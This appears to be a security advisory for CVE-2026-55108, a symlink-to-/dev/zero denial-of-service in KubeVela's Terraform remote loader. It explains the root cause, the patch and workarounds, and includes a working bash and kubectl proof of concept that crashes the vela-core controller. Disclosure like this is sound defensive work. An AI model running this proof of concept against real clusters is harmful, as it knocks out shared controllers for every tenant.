high · 8.5CVE-2026-55108Aug 28, 2026

CVE-2026-55108: KubeVela Terraform Remote Loader Symlink DoS

Rohit Hatagale
AI Security Researcher, SecureLayer7

An attacker with permission to create a KubeVela ComponentDefinition can point its Terraform remote schematic at a git repo containing a symlink to /dev/zero, causing the vela-core controller to read…

Packagegithub.com/oam-dev/kubevela
Ecosystemgo
Affected< 1.9.14
Fixed in1.9.14
CVE-2026-55108: KubeVela Terraform Remote Loader Symlink DoS

The problem

The function GetTerraformConfigurationFromRemote in pkg/controller/utils/capability.go clones a user-supplied git repository and then reads variables.tf or main.tf with os.ReadFile. Neither os.Stat nor os.ReadFile distinguish between regular files and symlinks, and there is no file-size check before the read.

If the repository contains variables.tf as a relative symlink pointing to /dev/zero, the controller follows it and enters an infinite read loop that exhausts pod memory. The OOMKill happens before any HCL parsing, so no downstream validation can intervene.

Any namespace-level user with create or update rights on core.oam.dev/v1beta1 ComponentDefinition can trigger this against the cluster-wide controller.

Proof of concept

A working proof-of-concept for CVE-2026-55108 in github.com/oam-dev/kubevela, with the exact payload below.

bash
# 1. Build the malicious repo (run locally, then push to any git host vela-core can reach)
git init poc-tf-dos && cd poc-tf-dos
ln -s ../../../../../../dev/zero variables.tf
git add variables.tf && git commit -m "poc"
git push -u origin main

# 2. Apply the ComponentDefinition (replace the URL)
kubectl apply -f - <<'EOF'
apiVersion: core.oam.dev/v1beta1
kind: ComponentDefinition
metadata:
  name: dos-tf
  namespace: vela-system
spec:
  workload:
    definition:
      apiVersion: apps/v1
      kind: Deployment
  schematic:
    terraform:
      type: remote
      configuration: https://github.com/<YOUR_ORG>/<YOUR_REPO>.git
      path: ""
EOF

# 3. Watch for OOMKill
kubectl -n vela-system get pods -l app.kubernetes.io/name=vela-core -w
# Expected: STATUS -> OOMKilled -> CrashLoopBackOff
kubectl get pod -n vela-system -l app.kubernetes.io/name=vela-core \
  -o jsonpath='{.items[0].status.containerStatuses[0].lastState.terminated}{"\n"}'

The root cause is that os.Stat and os.ReadFile both follow symlinks (CWE-59). The code builds a path from repository contents it does not control, then reads the target with no type check and no size limit (CWE-400).

The patch (PRs #7191 and #7192, commits 65dedda, 7a4e59b, f6a6439) adds an os.Lstat call before os.ReadFile and rejects any path whose os.FileMode has ModeSymlink set. A maximum-read-size guard was also introduced so that even a valid regular file above the threshold is rejected before the full read.

The fix

Upgrade to KubeVela 1.9.14 (release-1.9 branch) or 1.10.9 (release-1.10 branch). Both releases include the backport from PRs #7191 and #7192. As a short-term workaround, restrict create/update RBAC on core.oam.dev/v1beta1 ComponentDefinition to fully trusted users, and set an explicit memory limit on the vela-core pod to contain blast radius to a restart loop rather than node memory pressure.

Reported by roguepikachu.

References: [1][2][3][4][5][6]

Related research